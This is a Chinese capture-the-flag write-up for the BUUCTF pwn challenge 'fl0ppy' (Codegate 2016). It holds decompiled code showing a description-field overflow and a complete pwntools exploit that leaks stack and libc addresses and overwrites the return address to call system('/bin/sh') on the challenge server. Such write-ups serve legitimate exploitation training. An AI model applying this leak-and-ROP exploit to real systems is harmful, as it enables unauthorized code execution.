[BUUCTF-pwn] fl0ppy_codegate_2016
作者:互联网
一个不算复杂的问题把自己整晕了
程序虽然用到堆但是与堆无关,有两个floppy可选,功能有选择盘,写入(建堆块写入指针,desc写内容),show和修改4个功能。其中修改的时候desc原长度为0xc实际可写入0x25有个溢出。并且长度足够情况下strncpy并不带尾部的\0
char *__cdecl m4edit(int a1)
{
char *result; // eax
char s[1024]; // [esp+8h] [ebp-410h] BYREF
int v3; // [esp+408h] [ebp-10h] BYREF
size_t v4; // [esp+40Ch] [ebp-Ch]
v3 = 0;
v4 = 0;
memset(s, 0, sizeof(s));
if ( !*(_DWORD *)a1 )
{
puts("Floppy disk is unusable.\n");
exit(-1);
}
puts("Which one do you want to modify? 1 Description | 2 Data\n");
_isoc99_scanf("%d", &v3);
IO_getc(stdin);
if ( v3 == 1 )
{
puts("Input Description: \n");
read(0, s, 0x25u);
v4 = strlen(s);
result = strncpy((char *)(a1 + 8), s, v4 - 1);// 原长12写入len(s)-1 !!!
}
else
{
if ( v3 != 2 )
{
puts("Baaaaaaaaaack.\n");
exit(-1);
}
puts("Input Data: ");
read(0, s, 0x200u);
*(_DWORD *)(a1 + 20) = strlen(s);
result = strcpy(*(char **)(a1 + 4), s); // 写入 s + \0
}
return result;
}
思路:
- 通过修改功能写入到v8,然后show的时候带出v8 得到栈地址
- 如果写到0x20就能带出libc_start_main_ret
- 溢出这块最多0x25写不了rop,所以通过floppy2的溢出修改floppy1的堆指针指到ret然后写入rop
两个坑点:
- esp在下断点后发现比ida里看的小8
- 能看到两个libc_start_main 第一个恰在ebp后,但这个不是返回地址,返回地址在下一个+0x10处
- 由于返回地址比预想的大,直接修改desc溢出达不到写rop的位置,所以需要修改data指针。再通过写data达到写rop的目的。
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
offset_main_ret = 0x18647
else:
p = remote('node4.buuoj.cn', 27005)
libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386')
'''
0036| 0xffffd134 --> 0x1 //floppy1.flag
0040| 0xffffd138 --> 0x5655a410 ("AAAAAAAA\n") //floppy1.data_ptr
0044| 0xffffd13c ("BBBBBBBB\n") //floppy1.desc
0048| 0xffffd140 ("BBBB\n")
0052| 0xffffd144 --> 0xffff000a --> 0x0
0056| 0xffffd148 --> 0x9 ('\t') //floppy1.length
0060| 0xffffd14c --> 0xffffd134 --> 0x1 // v8 current_floppy
0064| 0xffffd150 --> 0xffffd170 --> 0x1
0068| 0xffffd154 --> 0x0
0072| 0xffffd158 --> 0x0
0076| 0xffffd15c --> 0xf7e36647 (<__libc_start_main+247>:) //fake_ret
'''
menu = b">\n"
def change_disk(idx):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Which floppy do you want to use? 1 or 2?\n\n", str(idx).encode())
def add():
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Input your data: \n\n", b'AAA')
p.sendlineafter(b"Description: \n\n", b'AAA')
def show():
p.sendlineafter(menu, b'3')
def edit(msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(b'Which one do you want to modify? 1 Description | 2 Data\n', b'1')
p.sendafter(b"Input Description: \n\n", msg)
def edit2(msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Which one do you want to modify? 1 Description | 2 Data\n\n", b'2')
p.sendafter(b"Input Data: \n", msg)
context.log_level='debug'
change_disk(1)
add()
#leak v8 current_floppy
edit(b'A'*0x11)
change_disk(1)
show()
p.recvuntil(b'A'*0x10)
stack = u32(p.recv(4))
print('stack:', hex(stack))
#edit floppy2.desc floppy1.data_ptr->libc_start_main_ret
change_disk(2)
add()
edit(b'A'*0x14 + p32(stack +0x38) + b'\n') #floppy1->data->stack:ret
change_disk(1)
show()
p.recvuntil(b'DATA: ')
libc_base = u32(p.recv(4)) - offset_main_ret
print('libc:', hex(libc_base))
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
edit2(p32(system)+b'A'*4+p32(bin_sh))
p.sendlineafter(menu, b'5')
p.sendline(b'cat /flag')
p.interactive()
标签:BUUCTF,--,menu,libc,ret,fl0ppy,sendlineafter,pwn,floppy1 来源: https://blog.csdn.net/weixin_52640415/article/details/122079237